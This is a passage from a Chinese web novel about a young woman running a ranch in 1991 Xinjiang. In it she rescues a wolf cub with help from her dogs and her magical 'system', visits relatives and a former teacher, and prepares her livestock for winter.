寒暑假这几个孩子来自家的时候，小叔家那两个小的每次都满脸嫌弃，觉得在农村受苦了。 小姑家就一个儿子，不过那个孩子养在他名义上的堂伯实际的亲大伯家，反正也是一堆破事！他跟那边亲戚比较近，跟姚新泉这边走得不算近，也就来过一两次，但是也总是嫌这嫌那的。 只有张新康，每次见了都大姨、姨夫、姐姐，叫的可亲了，来了就自己找活儿干，帮着喂牛喂羊，嘴还甜，这种小孩儿谁不喜欢？ 两人干到太阳下山，牛羊群都回来了姚新泉才喊停，“你先回去，我把这点儿运回去就成。” 张新康刚想说话可一抬头目光落在不远处后眼中满是恐惧，“姐，有，有狼，快跑啊！” 姚新泉立马反应过来举起铁锹挡在胸前，“你先走，你手上没武器，赶紧回屋！” 张新康哪里肯啊！他姐那么瘦弱的一个小姑娘，怎么能让她独自面对一头狼呢？ 可是这在野外见到的狼可跟动物园见到的狼完全不一样，在它逐步靠近时产生的压迫感让张新康的脚定在了原地，根本不敢上前一步，他感觉自己都闻到了狼嘴里的那股腥臭味！ 姚新泉余光见到张新康还没走心里着急，可也不敢在这匹孤狼面前挪动，紧张起来一时间也忘了自己有金手指的事情。 就在僵持中，身后突然传来激烈的狗叫声，是娜娜他们！ 姚新泉眼睛一亮，感觉到狗狗军团们离得近了，她突然转身抓住张新康的胳膊就往后跑，狗狗军团们毫不迟疑地朝孤狼冲了上去，他们脸上带着姚新泉从未见过的英勇与凶悍！ 两人一路往回跑，可总觉得狗叫声离得越来越远了，姚新泉觉得不对，一回头就发现，那匹孤狼此时正被五条大狗追着跑！ 这下她可就不怕了！ 姚新泉想了想拍了下张新康的肩膀，“你先回屋待着，我去看看怎么回事”，说着拎着铁锹就小跑了过去。 张新康心里害怕，可也不能放任她一个人去，他跺了跺脚最终还是追着姚新泉的背影往那边跑。 牧场特别大，但是她家这个屋子以及种的几亩地离有一边特别近，姚新泉看这方向倒像是往那边走的。 等远远看到狗狗们已经冲出围墙后姚新泉赶忙大喊，“回来！回来！不要追了！赶走就行了！” 不知道是不是因为听到了她的声音，几只小家伙没有再追，跑了过来围着姚新泉转圈。 姚新泉见他们这幅模样，没忍住每个都亲了亲脑壳，“你们怎么这么乖，这么英勇啊！” 小家伙们昂首挺胸的，不过当姚新泉的目光落在娜娜身上的时候顿了下，随后便是又想笑又想哭。 娜娜的腿都在发抖，可就算这样，就算她怕狼，可是娜娜还是叫的最大声的那个！在同伴们冲上去的时候她同样也是狗狗军团中非常英勇的小战士！ 姚新泉只觉得眼眶酸酸了，这可是一只因为胆小而被淘汰的警犬啊！ “姐，你这狗也太乖了吧！”张新康都要羡慕死了，五条大狗，五条威风凛凛的大狗正围着姚新泉撒娇呢！ 不就是要羡慕死他吗？他承认，他姐做到了！ 不过现在最重要的事情是，狼是怎么来的？家里这围栏才修了半年，难道就出问题了？ 姚新泉走近围栏，目光一顿，她咬了咬牙，妈的，这是人拿老虎钳子夹断的！ “康康，你现在回去报个警，就说我牧场的围栏被人弄坏了，这边肯定有小偷！” 未必是狗狗们来之后发生的事情，刚才也说了，这边离家里比较近，一般都不会来这边放牧的，狗子们来了之后便忙着上岗，她也没时间检查所有的围栏。 不过她很确定牛羊马都没有丢，姚新泉猜测可能是之前看牧场只有她所以有人偷偷剪断围栏想进来盗窃。 但是准备好之后，牧场里多了五条神骏的大狗，那人不敢冒险了。 张新康老实回去打电话，这时候姚新泉才有功夫理会系统，“系统，你刚才说什么？” 系统沉默了许久，“我说你怎么不等我死了再想起我呢？” 姚新泉愣了一下，这家伙怎么这么阴阳怪气的。 “刚才那个情形你又不是没看到？有狼啊！” 系统冷哼了一声，“所以呢？人家想伤害你了吗？你当我给你的金手指是吃干饭的啊？” 对哦，她有金手指来着！ 姚新泉一瞬间有点尴尬，没等她说什么，就听系统道，“检测到西南方两公里处有一狼崽需要救助，宿主是否救助？” “狼崽？”姚新泉抿了抿唇，脸上神情更是一言难尽，“所以你的意思是刚才那匹狼是来求助的？” “不是”，姚新泉的心提了起来，就听系统接着道，“它是在哺乳期活得不耐烦了，单枪匹马闯入牧场，想在五条大型犬的包围中咬死你！” 姚新泉被噎住了，这个破系统！一天到晚就会阴阳怪气！ “行了行了，我接任务行了吧？我先去跟康康说一声，不然他肯定要担心”，说着往家里小跑过去，遇到张新康后她也没多解释，“我现在出去有点事，你在家里等着我，我把娜娜跟大头留给你，其他三只跟我走”。 说着又给狗狗军团交代了一下，两只留守成员乖巧坐在地上等，姚新泉则是从那个铁丝网洞里翻了出去，三只狗狗更是轻轻一跳便在墙外落地，显得方才艰难把自己挤出来的姚新泉特别狼狈。 她一路往目的地小跑，三个小家伙护卫左右，差不多二十分钟后姚新泉才到了目的地，果然，方才那匹母狼正焦急地在那转圈圈。 与那匹狼对上视线的时候，姚新泉很确定自己从中看到了幽怨。 她清了清嗓子，“我看看行吗？”说着她小心翼翼一步一步往前走，就看到原来前面是一个陷阱，陷阱里有一匹小狼正在呜咽。 20-30 第21章 “是你的孩子对吗？你稍等啊,我想想办法看怎么把它弄上来！”姚新泉看着这个高度发愁，这个陷阱估计有三米多的高度，这也是母狼没有自己下去的原因。一般狼是能够轻松跳过2米左右的高度的,三米的话就得要助跑了。但是如果带着小狼崽,母狼就算助跑也别想跳上去。 至于她的话,别说带着小狼了,就算只有她自己她也爬不上来啊！ 肯定还是要借助工具,但问题是手边没有啊！ 要是回去拿一来一回都是时间,而且看这只小狼的状况似乎已经被困挺久了，饿了还好，会不会缺水啊？ 她四下打量着，目光突然注意到那边有棵干枯倒下的树,姚新泉眼睛一亮,赶忙走了过去。 走进一看就发现这棵树干绝对超过三米,而且也足够粗，放到陷阱里撑着肯定能借力爬上来！ 想到这她咬了咬牙把树抗了起来，到了陷阱边上后她朝里面的小狼喊,“你站到一边去,小心别被树压到了！” 母狼也在一边嚎叫，姚新泉不管它,小心注意着不会伤到小狼后姚新泉把树干放进了陷阱里。 这陷阱深但是不宽,树干竟然可以顶着底部的一边斜着竖起来。 这下姚新泉更放心了,她在陷阱边上试探了一下后还是决定直接跳下去。 落地之后她脱了外套把小狼兜住又系了起来绑在背后,然后小心抱着树干往上走，一步一步，在三条狗狗以及一匹母狼担忧的目光中，终于爬了上来！ 母狼叫了一声也顾不得别的就冲上来拱姚新泉,姚新泉笑着摸了下她的背，“你等一下，等一下，我这就把你孩子拿出来”，说着把衣服解开把小狼放到了母狼肚子那里，小狼呜咽着就凑上 去大口喝奶。 姚新泉又看了一眼这个陷阱，或者都不算陷阱了，毕竟上面好想并没搭什么伪装的东西，只能算是一个大坑。 如果真是陷阱，小狼的体重那么轻，反而未必会掉下去！ “行了行了，你孩子也给你还回来了，你快带着孩子回家吧！”姚新泉站起来伸了个懒腰，没忍住又摸了下母狼的头。其实说实话，触感并不算特别好，甚至有点扎手，可是摸野生动物和摸自家小狗狗的感觉怎么能一样呢？ 母狼轻轻用吻碰了碰姚新泉的手，姚新泉笑道，“以后可不许乱跑了，快要下雪了，你们赶紧回家吧，尽量多囤一点粮啊！”说完也不管它听没听懂，带着三个保镖就回家了。 等到的时候就看到有警察正在铁丝网那边检查，姚新泉跟几人打了声招呼，光明正大地又从洞里钻了进去，几人嘴角抽了抽。 “牧场里有损失吗？” 姚新泉摇头，这个确实没有。 “还有见到其他被人为破坏的地方吗？” 姚新泉还是摇头，“目前为止就这一个，不过我太忙了没时间转，这两天我会检查一遍的。” 警察有些为难，“你这个没有损失，而且也不知道是什么时候发生的事情，确实不是很好追查啊！” 这除非是真的有人碰巧看到了，或者是被抓了个现行，不然怎么找？怎么抓？ 姚新泉也知道他们的为难，见状也只是笑了笑，“那行，辛苦你们跑一趟了。” 几个警察还有点不好意思，但这确实没办法，所以打了个招呼就离开了。 “姐你干嘛去了？”张新康追着问道。 “救小狼。” “啥？”张新康一头雾水，“救啥？” “小狼”，姚新泉笑着逗他，又把自己外套递给他，“你仔细找找，我外套上可能还有狼毛呢！” 张新康皱着眉头接过外套，小心举到眼前看，半晌找到了一根有点像的，可目光落在朵朵身上的时候又有点迟疑，“不会是朵朵的毛吧？” 朵朵听到自己的名字后抬了下头，随即走到另一边姚新泉的身边，才不跟傻子玩呢！哼！ “我逗你干嘛？那母狼也不是为了过来咬人的，人家孩子掉在大坑里了，来找咱求救的。” 张新康的嘴张张合合半天不知道说什么，不像真的，可他姐骗他有什么意义？ “可是，可是对你们养殖户来说，你不应该跟狼是敌对关系，然后把狼杀了吗？” 啪！姚新泉一巴掌呼在他的脑袋上，“人傻你就多读书！八八年的时候国家就出台了《野生动物保护法》，那狼就是国家的二级保护动物，是禁止非法捕杀的！除非说是有些地方的狼威胁到了人畜安全，但那种也是需要上面签发捕猎许可证的，否则私自猎杀那就是违法的，那可是要吃牢饭的傻弟弟！” “这样啊”，他叹了口气，“我还没吃过狼肉呢！” 姚新泉嫌弃地看了他一眼，“我家里有你大姨夫之前留下来的狼牙，给你一颗回去让你爸给你找个红绳穿起来挂脖子上。” 张新康被哄好了，高高兴兴跟在她身后回家。 晚上吃得中午剩下的红烧肉，又凉拌了一个萝卜丝，蒸的白米饭，张新康再一次吃撑了。 “你住我爸妈那间”，想了想姚新泉还是问了一句，“或者你住我那间？” 爸妈离世还不到半年，她怕张新康心里有顾忌。 张新康听出她什么意思了，只是嗐了一声，“那是我大姨和大姨夫，姐你这话就伤人心了！” 姚新泉笑着摸了摸他的头，“行了行了，姐跟你道歉，赶紧去洗澡吧！我这里没电视，不过你也干了一天活了，早点休息，明天起来接着干！”随后在张新康的哀嚎声中姚新泉也回屋了。 第二天早晨两人干完活，中午又给他烧了一顿清炖羊排，里面放着萝卜，吃得张新康都不想走了。 “姐，你家萝卜白菜都这么好吃，那你家牛羊得好吃成啥样啊？” 就普通样，还能啥样？姚新泉无语，那肥料是给蔬菜用的，又不是给牛羊用的，能有啥区别？ 不过当她的目光放在门口的白菜上时心里一动，今年就算了，明年牧场上用上这种肥料之后羊肉会不会也更好吃呢？ 不过这都是明年的事情了，不想了。 姚新泉装了四尼龙袋子的萝卜白菜，“你摩托车上捆上一袋子，这袋子是你的工钱，我这边三袋子再给你家一袋儿，到时候不够了让你爸再来拉！” 听到这是自己的工钱张新康嘴都咧开了，上前就扛起袋子放到摩托车上，又小心翼翼地捆好。 等到了县城后，姚新泉都说了直接给送到他家去，但是张新康不，他先回家把姚新泉送的那袋子放到家里，随后又驮着那袋自己赚来的跑到自家店里去了。 “爸！爸！” 张运秋听到动静后赶忙出来，还以为咋了呢，结果出来后就看到张新康一脸得意地倚靠在摩托车上，见他出来还拍了拍摩托车后面的袋子，“你看，这是我姐给我开的工钱！” 张运秋都气笑了，指着他半天不知道说什么。 “你姐呢？” “我姐给咱家送了菜之后又去姚姑姑和姚叔叔家送菜了。” “你姐送了菜那这又是什么？” 张新康莫名其妙地看着他，“我说了啊，这是我的工钱！” 半晌张运秋才反应过来，合着外甥女先送到自家一袋子菜，这个兔崽子不把他这一袋子放下，专门带着过来显摆的是吧？ 想通之后张运秋嫌弃地摆了摆手，“赶紧地回家，知道你厉害，你干活你姐都给你工钱了行吧？” “我跟你说老张你别瞧不起人，我姐种的萝卜白菜是我吃过最好吃的萝卜白菜，你瞧不起我赚来的，你回头别吃！” 张运秋翻白眼，心想我儿子赚来的我还不能吃了？ 另一边今天姚新泉去的时候姚晓刚在家，见到她后惊喜得不得了，赶忙给她倒水，“你来得真巧，我同学给我寄了两箱苹果过来，你小姑那边家大业大的咱就不管她了，你过会儿拿回去一箱。” 他笑着把箱子搬了过来，“你知道的，家里没有摩托车，我要是骑自行车过去就太费劲儿了，我还想着明天给你打电话让你自己来拿呢！真是来的巧了！” 姚新泉向来不拒绝这些亲戚的好意，她笑着收下，又把自己带来的萝卜白菜搬了过来。 “虽说不是什么太好的东西，但是康康在我那两天净说我家的萝卜白菜比市场上的好吃，你跟婶婶也尝尝，要是好吃我再给你们送！” 姚晓刚见状心里更高兴了，不是孩子给自己送东西，是孩子自己把日子过起来了！ 接着他把牧场上的情况大致问了问，太细节的他也没听懂，但是他看出来了，这个大侄女心里是有数的，要做什么该做什么他全都清清楚楚！ “你都不知道听你说这些小叔心里多高兴！”姚晓刚笑着感叹，想起什么他拍了下脑袋，“你瞧我这记性，我有个电话要给你！” “我师范大学的教授她爱人是农业大学的教授，我跟老师关系好，也跟她讲过你的情况，这是我师公的电话，老师的意思是你如果有什么弄不明白的或者有什么需要帮助的可以打电话过去问。” 想了想他还是有点别扭地说道，“咱们好钢尽量用在刀刃上，能想办法解决的咱们就自己想办法。因为我记得师公那边经常会有一些项目要做，他们的很多项目都试点成功并且在逐步推广。我是想着如果能搭上他们的便车去做一些项目科研，还能拉到政府的一些扶持，对你经营牧场的好处更大，你说呢？” 说着他又不太好意思地笑了，“我也不太懂这些，就是我的一些拙见，具体还是你自己看！” 第22章 姚新泉又是惊喜又是感动的,没忍住抱了抱姚晓刚，倒把姚晓刚闹了个大红脸。 她怎么也 没想到姚晓刚会帮自己做到这一步！ 姚晓刚这人是一名无可置疑的好老师，其实市里早就有学校挖他了,他没走的很大一部分原因就是本地的教育资源短缺,他总觉得自己如果去了市里,市里也只是多了一名还不错的老师,但是如果留在县里,那可能真的会改变许多孩子的命运啊！ 县里村里的孩子又不是天生就比市里省里的孩子笨？无非就是从小享受到的教育资源不如别人,反正在哪里都是教书，倒不如就在县里也能拉一把那些有机会改变命运的孩子。 姚家亲戚都知道姚晓刚是怎么想的，不管别人怎么看待这件事情，姚新泉对他是真的很敬佩。 不过生活中他性格就相对软弱一些,家里的事情基本都是婶婶做主。 至于婶婶肖美燕这个人吧,姚新泉也没觉得她坏,只是小心思有些多而已，这也没什么可指摘的。 如今姚晓刚用自己的人脉去帮自己牵线搭桥，姚新泉心里感动得不行。 “小叔,你咋这么好呢？” 姚晓刚脸又红了,他轻轻摸了摸姚新泉的头发，眼中满是慈爱,“你爸爸若是还在,那你的事情轮不到我这个做小叔的操心。但你爸爸走的早,那小叔就当你是自家孩子,小叔没本事，但你想做的事情小叔都会支持，也会尽力帮你的。” 姚新泉眼眶酸酸的用力点了点头，脸上露出一个大大的笑容来,“等年前我杀了羊给你送来！” 姚晓刚笑着点头，自家孩子孝敬有什么好拒绝的呢？ “这些萝卜白菜味道确实比市面上好，你要想吃回头你用单位电话给我打电话，我再给你送过来！” 两人又说了几句话姚新泉这才骑车去下一家，不过小姑家的员工说她不在，去市里了，姚新泉只能把东西留下先回家了。 因为围栏的事情第二天一早姚新泉就爬了起来，她给摩托车加满油，又配合把牲畜们都放了出去，自己骑着摩托车绕着牧场完完整整地转了一圈，一天下来最终确定了只有那一个洞，别的地方都没有问题，还是比较牢固的。 姚新泉这才放下心来，她又找了些铁丝把栅栏修好，这事儿也就算是过去了。 不然能怎么办？没损失，也抓不到是谁干的，只要以后不再出问题就成。 傍晚的时候姚新泉听到了狗狗军团们的叫声赶忙跑了出去，原来是狗狗们带着牲畜回来的时候撞见了在被修好的破洞处徘徊的母狼和狼崽。 “你们怎么来了？”姚新泉看了看小狼崽确认它没什么问题这才问母狼。 母狼将地上的兔子叼了起来想递给她，但是塞不进去，大大的狼眼里似乎满是无奈。 姚新泉哈哈大笑，“没事儿，你带回去吧，给孩子吃，或者你自己吃，你看你瘦的！” 可能是因为哺乳的关系，母狼如今看上去瘦巴巴的，要是忽略它野兽的身份甚至有点可怜。 “你等一下！”姚新泉想到了什么赶忙往回跑，这对母子可是给自己贡献了15个积分呢！ 也不知道系统是怎么计算的，救助小狼崽跟救助小金雕的难易程度能一样吗？ 想到上次在云杉树上的场景她现在都心有余悸、腿发软好嘛！ 这两次积分竟然一样！ 为了这也得给母子俩补一补！ 她把自己昨天出去买的七八根排骨一起拿了过来，想了想还是绕到栅栏外面去，隔着栅栏不好喂。 等到了外面，母狼见到那肉嘴角似乎闪过一丝晶莹，姚新泉笑着将肉递给它，又接过它带来的那只兔子，从口袋里拿出一把英吉沙小刀来，动作熟练地给兔子剥了皮。 她切下一丝肉条递给小狼崽，小狼嗷呜一口咬了上来，嚼嚼嚼！ 姚新泉笑着继续投喂小狼崽，“行了，这兔子肉给你们母子俩吃，这兔子皮我就拿走了，也算接受你的谢礼了！” 她冲母子俩挥了挥手便离开了，再次回头的时候只隐隐约约看到母子俩离去的背影，还是一只懂得报恩的狼呢！ 马合木提江夫妇离得远，没看到这边发生了什么，姚新泉等他们把牛羊马都关好，又给该育肥的补充了些饲料后这才把他们两人叫了过来，将这几天的工资发给他们。 “明天应该就要下雪，到时候羊就不放出去了，你们就不用过来，我自己在家喂就成。” 两人有些迟疑，最终还是玛依拉问道，“那么多你一个人能照顾得过来吗？要不我们还是每天过来一趟？” 姚新泉笑着摇了摇头，冬天的雪可不是开玩笑的！ 冬天山上的雪正常都有30厘米左右，比较大的时候积雪能有一米深，曾经造成雪灾的一次积雪有将近两米，虽然这次不至于这么夸张，但是到底也不可小觑。这种时候从大老远的地方跑过来就为了给自己喂羊？开什么玩笑！ 见她坚持两人也不好再说什么，而且冬天出行确实也比较危险。 “那你自己注意一点，牛如今都揣崽了，冬天的保暖肯定得做好，羊群跟马群也不能冻着，你育肥的那些牛羊我看你比我们自己养得都好，这个我们不用操心”，玛依拉絮絮叨叨的姚新泉也不嫌烦，只是笑着听她讲。 把自己记得的注意事项都讲了一遍之后他们夫妻俩这才一步三回头的下山了。 姚新泉又去看了一遍母牛们，不知道是这次冻精的质量比较好还是自家牛的身体状况好，上次人工授精半月之后让艾力大夫来检查，他就说全部都怀孕了。 这样也好，省钱又省事。 如今家里牲畜分了五拨，细毛羊跟马正常饲养就好了，公牛群跟羯羊群要做育肥，最后一个半月的时间了，饲养方案还得再做一下调整，怀孕的牛群要特别注意。 不算复杂，但是活儿是真不少。但是冬天本身也没什么事情做，总不能在床上躺上四个月吧？有事情做也挺好的。 “系统，你帮我确定下往后五天的天气吧！” “经检测，明后两天有小雪，气温为-5摄氏度到-10摄氏度，再往后三天是晴天，气温为-8摄氏度到-12摄氏度。” “谢谢”，姚新泉想了想，这几天没顾得上下去采购，家里还缺不少东西，等晴天的时候她得好好去采买一波。 除此之外，家里的羊跟牛的买家如今已经初步谈好了，不过这时候大家都没签合同的习惯，姚新泉想了想也没急着签，倒像是防着谁了一样。有系统作保的人品，她也去问过不少认识的人，都说对方是好好做生意的人，她便信了这一次。 目前家里的羯羊跟牛还都在高速生长期，还能再喂一喂，等体重变化不大了的时候再喂就纯粹是浪费饲料了，到时候就得赶紧让羊贩子拉走。 她家是卖活体羊，不管是检疫手续还是别的都由买家那边负责，她只负责养羊。 第二天一早姚新泉感受到头发正在被拉扯，她无奈地一把抓住在枕头边上啄啄啄的小金雕，这孩子四个月左右了因为这两天忙实在是没顾得上正儿八经教她飞，只是平时跟玩儿一样让她从高处落下来，两米的高度姚新泉还紧张地跟什么一样跑过去接她。 好好飞不一定会，但是会扑腾，天天人还没醒就到她脑袋边上来啄啄啄，很是让人头痛。 本就觉得冷，睡得不舒服，这下被捣蛋鬼吵醒也算是彻底不想睡了。 她戳了戳小金雕的脑袋，穿上家里姚妈的军大衣，带好雷锋帽才去了厨房，家里锅炉在这边，得烧上锅炉了。 昨天晚上偷了个懒没把锅炉烧起来，现在屋子里就凉的刺骨，姚新泉叹了口气拿了几根小碎树枝跟引火草，坐在小板凳上开始烧火。 小动物卧室的几个小家伙听到动静也都跑了过来围在锅炉边，皮皮实在挤不进来了，就在外面的连廊下希律律地叫。 姚家的六间房本来是一排建好的房子，不 是一栋屋子里分了几个房间这种，也就客厅和厨房是相连的。姚新泉想了想如果冬天出门上个厕所都得被淋一身的雪那就有点难受了。 所以前几天她专门请了师傅过来给家里搭了一排连廊，基本有半个屋子那么宽，虽然有点挡光，但是遮风挡雨啊！ 等火着起来她赶忙放了些干柴火进去，看着锅炉里隐隐冒出的火光这才松了口气，手脚在锅炉边烘了一会儿后她才回去换上皮靴子戴好手套围巾去喂牲畜。 1991年的第一场大雪就这样落了下来，其实也算不上大雪，但是当肉眼可以触及到的地方全是一片白茫茫时，见惯了北疆冬日的姚新泉还是不禁感叹，“真是一场大雪啊！”甚至想朗诵一首《沁园春雪》是怎么回事？ 姚新泉被自己逗乐了，全副武装出去喂牛羊马，本来不想狗狗军团们跟上的，但他们非要来，姚新泉也无奈。 “娜娜，看着些点点！”两个月大的小家伙第一次见雪，乐得跟个小傻子一样！ 第23章 等天晴起来后姚新泉小心地骑上三轮车下山了,两轮摩托在雪地上实在是不稳当，她有点担心自己会摔。 等在小姨的超市里买了点儿东西之后姚新泉按照记忆中的地址找到了周老师家。 今天是周末，周老师确实在家,见到姚新泉后她先是一愣,随即便高兴了起来,“新泉啊,你怎么想到过来了？我听说你不是已经在上海工作了吗？” 姚新泉没有想把自己的伤疤再次揭开的想法只是笑了笑没回答后面的问题,“我想着也好久没来老师家转转了,老师你现在怎么样，身体还好吗？” 周老师拉着她坐下，对自己这个得意弟子的满意都写在脸上了，“我挺好的啊,这学期我还是当得尖子班班主任,你叔叔本来说让我就代代课就算了,当班主任又是费心又是费力的，也多不了几块钱”，周老师笑得还挺甜蜜的,“他就是觉得我身体不太好,这换季就容易生病”，想到什么她又叹了口气,“可这批学生是我从初一带上来的,他们一个个的家庭情况、学习情况只有我最清楚。现在是他们最重要的一年,如果考不上高中或者就落后了,以后高考的时候怎么办？怎么从咱们这儿考出去？” “大城市多好了，我当年”，周老师脸上闪过一瞬间的憧憬随后又不好意思地笑了笑，神情中有遗憾也有哀伤。 对于这位周老师的身世姚新泉是知道的,她是64年考上的大学，毕业的时候刚好赶上那件大事，不仅没能顺利拿到毕业证，还因为一些事情被下放到了边疆来。 六十年代的新省跟现在的新省那可以说是两个地方了，到处是戈壁滩，风沙大的能把人脸吹烂。 如今新省能有这幅模样都是多亏了当年的人，都是他们吃苦受累才给如今的新省换了一个颜色。 可别人口中的感谢对于那些真正吃了苦的人来说宛如鸡肋，他们中不少人还是心心念念自己的故乡的。 周老师是苏州人，那边因为离上海近所以发展得也还不错。 那场大运动结束之后周老师是有机会回去的，可是她在新省成家也有孩子了，和丈夫感情还特别好，她怎么可能抛下家人回去呢？ 就这样，她从被迫扎根新省变成了自愿扎根新省，但心里对故乡、对大城市的向往并不会因为自己自愿留下而减少半分，反而会因为自己的求而不得在心中将其美化。 在姚新泉心中种下第一颗离开“新西兰”种子的人就是周老师。 可她也知道周老师不是不爱这片土地，只是人从来都是矛盾复杂的…… 姚新泉收回思绪，顺着周老师的想法说起了自己在上海的见闻，听得周老师满脸都是羡慕，“都发展成这样了啊！我三年前回了一次老家，当时顺带去了一趟上海，这几年没回去又不一样了！” “是啊，我们学校是八人间，我有三个室友都是上海本地的，学习成绩暂且不提，人家的一些意识跟见识就跟咱们边疆的不一样。我听室友讲起他们的中学，说是从初中开始就开了一门叫什么生理卫生课的，我当时还好奇呢，又不是所有人以后都要学医，学这个干什么？” 她们县里学校没开这门课，市里是有的，周老师自然是知道，她点了点头示意姚新泉继续说。 “我室友就跟我说，她们那课程更多的是起到一个科普的作用，比方说会讲解一些基础的生理知识，像是人体的消化系统、呼吸系统、循环系统之类的。还会教学生一些卫生与健康知识，像是个人卫生习惯以及传染病的预防、锻炼的必要性这些，我还觉得挺有意思的。” “除此之外他们还会对孩子进行一些青春期的教育，像是生殖系统的一些基本知识，第二性征的发育等等，我听得人都傻了”，姚新泉像是不好意思般笑了笑，“周老师你知道我性格的，从来都是天不怕地不怕的，但我初二第一次来月经把裤子弄脏了，我当时谁也不敢说，就拿着外套系在腰上，一路哭着回家，我还以为我要死了呢！我都这样，更别说别人了！” 她刚开始确实是想帮一把张新康，但是这些话也的的确确是实话，“不知道你还记不记得我们班有个女孩儿叫阿丽亚，她初二上完就回家结婚去了”，姚新泉叹了口气，“我听到这些的时候我都在想，她知不知道这些呢？学校没教过，她家里人真的会教她吗？她也就比我大两岁，那时候最多也就十五六岁，现在应该已经是几个孩子的妈妈了吧！” 周老师也叹气，“是啊，咱们这边基础教育还在慢慢抓，这一块儿更是不用说了”。 “还不止呢”，姚新泉又叹气，她站起身来朝周老师转了一圈，“老师你觉得我身材怎么样？” 她今天外面穿了一件短款棉衣，进屋后把外套脱了，里面就是一件高领黑色修身打底毛衣，下面穿了一条修身高腰牛仔裤，搭配了一双靴子，长发披散着很是好看。 姚新泉个子高，身材比例也好，可以说是腰细腿长，再加上她发育得也好，飒爽的同时又不乏女性的柔美，很是吸引人的目光。 周老师愣了一下有些不好意思地笑了，“你这孩子，你身材自然是很好的”，年轻健康有活力，让人羡慕。 姚新泉耸了耸肩，“可我不是今天才发育成这样的，我初中就开始发育了，就算当时穿了文胸，可上体育课跑步跳远的时候胸部不可避免地会晃动，当时就有不少臭小子会偷偷笑我！不过因为我学习好，我也不是那种被欺负了会忍气吞声的人，我打不过我还会告老师，我还会告家长让我爸妈找到他们家去，所以也没人敢闹到我面前来。” 她话音一转，“可是周老师，学校里那种说话都不敢高声，走路不敢抬头的小女孩你觉得少吗？她们被人嘲笑了她们敢跟人说吗？” “我当时听我室友说完我第一反应就是得给那些臭小子上上课！不懂觉得好奇或者好笑这个不奇怪，也不能因为这就把他们一杆子全都打死，说他们是坏孩子。可如果学校对他们进行一些生理卫生教育，他们知道这是怎么一回事儿了，女孩子不再有身材羞耻，男生也不会因为女孩跟自己的不一样而嘲笑他们，我觉得这真的是很有意义的一件事。” 周老师不由自主地点了点头，可突然想到什么她愣了一下，随即似笑非笑地点了点姚新泉，“你啊你啊，你现在会跟老师耍心眼子了！你是为了张新康的事情来的吧？” 既然她猜出来了，姚新泉自然没有再隐瞒的必要，她把事情说了，“打人固然不对，该赔偿的张家肯定会赔偿。虽然这事儿已经了结了，但是我还是得说，我弟弟在这件事情上没错。” 周老师就是张新康的班主任，她带了 张新康三年，不说对这个孩子多了解，但是她也知道这孩子绝对不是那种无缘无故挑事儿的刺头。 那次的事情出了之后她没想叫家长的，但是张新康那个臭小子问什么都不说，就咬死了不道歉，周老师气得不行才叫家长的。 事后她也反应过来了，这事情肯定是涉及其他人，不过她也没想深究，没想到竟然是这么回事儿。 她叹了口气，“难道你觉得我是那种都知道了这件事的缘由还会让张新康去道歉的老师吗？” 姚新泉赶忙拉住周老师的手跟她道歉，“其实我刚才说的话也确实是实话，咱们这边偏远又落后，能把孩子送出来上学的人家已经是进步了。可是十五六岁的孩子真的能结婚吗？他们身体发育好了吗？他们心理发育成熟了吗？他们有足够的能力去负担起一个家庭的未来吗？这个年纪就应该在学校里念书啊！” 周老师不想去探讨这种问题，她没有那个能力也没有那个心力去改变，她把话题引了回来，“你说的这个事情我觉得还挺有道理的，而且市里其实今年已经要求咱们县开设这门课程了，我回去敲敲边鼓，尽量这学期先上一两节。教材咱们确实没订，不过你不是说了嘛，里面很多跟医学有关的知识，我看看能不能跟领导商量一下，先请县医院的大夫过来上上课，反正一周一节也不耽误什么事情。” 就算抛开心底的触动，大城市孩子有的东西，周老师也希望自己学生能接触到。 就很不忘初心。 “另外我还得再去跟普通班那个班主任说一下上次的事情”，说到这里她就生气，“你都不知道，他们班班主任是个小年轻，因为班里学生总给他惹麻烦，他是天天在后面给人擦屁股。那次的事情表面看起来是张新康先动手的，所以他就像抓到什么一样非要咬着不放！你弟那个臭小子他要是早跟我说，我也不至于在对方面前理亏！这下我可得去好好跟他撕吧撕吧，这孩子就得好好教育教育！现在可还有流氓罪呢！” 想到这里她又操心起来了，“行了行了，反正你也不是专门来看我的，你赶紧回去吧，我还得想想怎么跟领导说这个事情呢！” 姚新泉被轰走了但是不影响她心情很好，她哼着小曲儿到了张家，小姨小姨夫都出去了，家里就张新康一个人。 姚新泉把事情跟他说了之后张新康没忍住冲上来把姚新泉抱起来转了一圈，“姐，你怎么那么厉害啊！” 看着双眼亮晶晶的弟弟姚新泉心里也很是喜爱，“行了吧，答应你的事情做到了，你之后专心读书，好好中考，要是考不好回头我天天让你去我那喂羊去！” 张新康用力点头，他姐就是最棒的！ 第24章 时间飞逝,可能因为金手指给她增加了力气的原因，每天忙忙碌碌倒也不觉得累。 12月底1月初出栏的话现在已经算是到了育肥后期了，是比较重要的一段时间,她得调整一下精料的比例。 上次她在警犬饲养基地见到那边有不少农牧业相关的书籍,所以干脆就托了他们帮自己采购几本,现在没事儿就跟着书上学。 现在农业在搞规模化种植、机械化种植、科学种植,人家内地好多地方都在这样干。 畜牧业的话就算不引入机械化,那也得科学养殖,一方面能经济最大化，另一方面也有利于未来扩大养殖规模总结养殖经验。 她家虽然是个私人牧场，但是姚新泉想的很明白，她这么大的牧场不可能跟人家小规模养殖户那样什么都按照自家经验来,肯定得有一套养殖方案。 像现在,她按照自己学到的以及自己思考的方式配料,玉米、豆粕、麸皮之类的全都得按比例配好。 室内放了温度计，尽量要保持室内温度在5摄氏度左右。地上还铺了厚垫草。 书上说每天是需要保证一定时间的光照的，等雪停了她打算把羊圈、牛圈上面的篷布揭开,通通风晒晒太阳。 如果天气实在不好的话可以在室内开灯补光,具体这个有没有效果她也不太清楚，不过书上是这么说的,等以后有机会跟一些科学养殖的前辈讨论讨论吧！ 细毛羊那边虽然九月份剪过一次毛,但它们营养跟得上,羊毛长得还挺快的,也不担心他们被冻着。 至于怀孕的母牛那边同样也要增加精料，还得补充蛋白质和矿物质，水也尽量提供温的。牛圈要保持干净通风，但是温度也不能低。,她还顺便检查了一下它们的食欲、反刍情况以及精神状况。 如果一旦有什么不好要立马通知兽医，不过万幸的是姚新泉有金手指，治愈术虽然不是万能的，但是如果真是一些紧急情况也能缓解缓解。 上述这些情况她每一项都专门做了记录，就是想着回头查漏补缺总结经验。 作为一名牧民姚新泉绝对算不上门外汉，但是她自问如今还算不得一名新时代的进步的牧民，慢慢来吧！ 日子一旦陷入重复的劳作中时间就会过得很快，转眼就到了12月底，今天姚新泉打算给家里牛羊都上上称，她目测育肥已经差不多了。 